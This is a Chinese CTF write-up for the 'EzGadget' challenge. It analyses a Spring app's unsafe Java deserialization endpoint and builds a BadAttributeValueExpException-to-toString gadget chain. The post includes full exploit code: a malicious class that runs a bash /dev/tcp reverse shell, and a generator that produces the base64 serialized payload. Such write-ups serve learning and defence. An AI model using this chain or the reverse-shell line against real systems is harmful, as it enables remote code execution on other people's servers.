[华东杯 2021]EzGadget

[华东杯 2021]EzGadget

代码分析

题目给出了一个jar包,拖到IDEA中反编译得到源码,目录结构如下:

image-20220502203528559

其中User是个没啥用的JavaBean类。

Tools类是个工具类,有base64的编码与解码方法,以及学列化和返学列化方法:

public class Tools {
    public Tools() {
    }

    public static byte[] base64Decode(String base64) {
        Base64.Decoder decoder = Base64.getDecoder();
        return decoder.decode(base64);
    }

    public static String base64Encode(byte[] bytes) {
        Base64.Encoder encoder = Base64.getEncoder();
        return encoder.encodeToString(bytes);
    }

    public static byte[] serialize(final Object obj) throws Exception {
        ByteArrayOutputStream btout = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(btout);
        objOut.writeObject(obj);
        return btout.toByteArray();
    }

    public static Object deserialize(final byte[] serialized) throws Exception {
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(btin);
        return objIn.readObject();
    }
}

ToStringBean类继承了ClassLoader类并实现了Serializable接口,里面有个toString()方法,调用了继承自ClassLoader的defineClass()方法去加载类,然后使用newInstance()去实例化这个类:

public class ToStringBean extends ClassLoader implements Serializable {
    private byte[] ClassByte;

    public ToStringBean() {
    }

    public String toString() {
        ToStringBean toStringBean = new ToStringBean();
        Class clazz = toStringBean.defineClass((String)null, this.ClassByte, 0, this.ClassByte.length);
        Object Obj = null;

        try {
            Obj = clazz.newInstance();
        } catch (InstantiationException var5) {
            var5.printStackTrace();
        } catch (IllegalAccessException var6) {
            var6.printStackTrace();
        }

        return "enjoy it.";
    }
}

看到这里已经很明显了,只要我们能够调用toString()方法,并且控制ClassByte的内容为我们构造的恶意代码类,就能实现任意代码执行。

最后看一下控制器里面的内容:

@Controller
public class IndexController {
    public IndexController() {
    }

    @ResponseBody
    @RequestMapping({"/"})
    public String index(HttpServletRequest request, HttpServletResponse response) {
        return "index";
    }

    @ResponseBody
    @RequestMapping({"/readobject"})
    public String unser(@RequestParam(name = "data",required = true) String data, Model model) throws Exception {
        byte[] b = Tools.base64Decode(data);
        InputStream inputStream = new ByteArrayInputStream(b);
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        String name = objectInputStream.readUTF();
        int year = objectInputStream.readInt();
        if (name.equals("gadgets") && year == 2021) {
            objectInputStream.readObject();
        }

        return "welcome bro.";
    }
}

在 /readobject 路由中,将传过来的data字段的内容通过base64解码,读取对象流,先读取字符串和INT,再读取对象。所以再构造反序列化链时,先写入一个StringINT

利用

首先toString()作为调用方法出现在CC5链里面,CC5链的入口是BadAttributeValueExpException.readObject()

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    ObjectInputStream.GetField gf = ois.readFields();
    Object valObj = gf.get("val", null);

    if (valObj == null) {
        val = null;
    } else if (valObj instanceof String) {
        val= valObj;
    } else if (System.getSecurityManager() == null
            || valObj instanceof Long
            || valObj instanceof Integer
            || valObj instanceof Float
            || valObj instanceof Double
            || valObj instanceof Byte
            || valObj instanceof Short
            || valObj instanceof Boolean) {
        val = valObj.toString();
    } else { // the serialized object is from a version without JDK-8019292 fix
        val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
    }
}

BadAttributeValueExpException.readObject()会先获取名字为val的对象,然后调用其valObj.toString()方法,所以我们这里只需要将构造好的恶意toStringBean对象用反射赋值给val属性即可。

  • 首先构造我们的字节码恶意类:
//payload.class
package com.ezgame.ctf.controller;

import java.io.IOException;

public class payload {
    public payload() {
    }

    static {
        try {
            //注意这里不要使用字符串,使用字符串数组。
            //使用字符串传会反弹失败,具体原因可参看网上的文章
            Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1"});
        } catch (IOException var1) {
            var1.printStackTrace();
        }

    }
}
  • 构造EXP:
package com.ezgame.ctf.controller;
import com.ezgame.ctf.tools.ToStringBean;
import com.ezgame.ctf.tools.Tools;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class IndexController {
    public static void main(String[] args) throws Exception {
        ToStringBean toStringBean = new ToStringBean();
        //通过反射给ClassByte赋值
        Class c = toStringBean.getClass();
        Field classByteField = c.getDeclaredField("ClassByte");
        classByteField.setAccessible(true);
        //读取恶意的class文件
        byte[] bytes = Files.readAllBytes(Paths.get("E:\\Coding\\Java\\Test\\out\\production\\Test\\com\\ezgame\\ctf\\controller\\payload.class"));
        //将字节码传给ClassByte
        classByteField.set(toStringBean,bytes);

        //实例化BadAttributeValueExpException
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123123);
        //通过反射给val传值
        Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(badAttributeValueExpException, toStringBean);

        //序列化类到ByteArrayOutputStream中
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeUTF("gadgets");
        objectOutputStream.writeInt(2021);
        objectOutputStream.writeObject(badAttributeValueExpException);
        //ByteArrayOutputStream转化为字节
        byte[] bytes1 = byteArrayOutputStream.toByteArray();
        //base64编码
        String bytes2 = Tools.base64Encode(bytes1);
        //输出payload
        System.out.println(bytes2);
    }
}

这里我用本地起了一个环境去测试,反弹shell到本地(注意payload要URL编码一下,因为可能有+,URL解码时会当作空格):

image-20220502210549310
image-20220502210412631

成功反弹shell

参考资料

2021东华杯_WEB_EzGadget

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇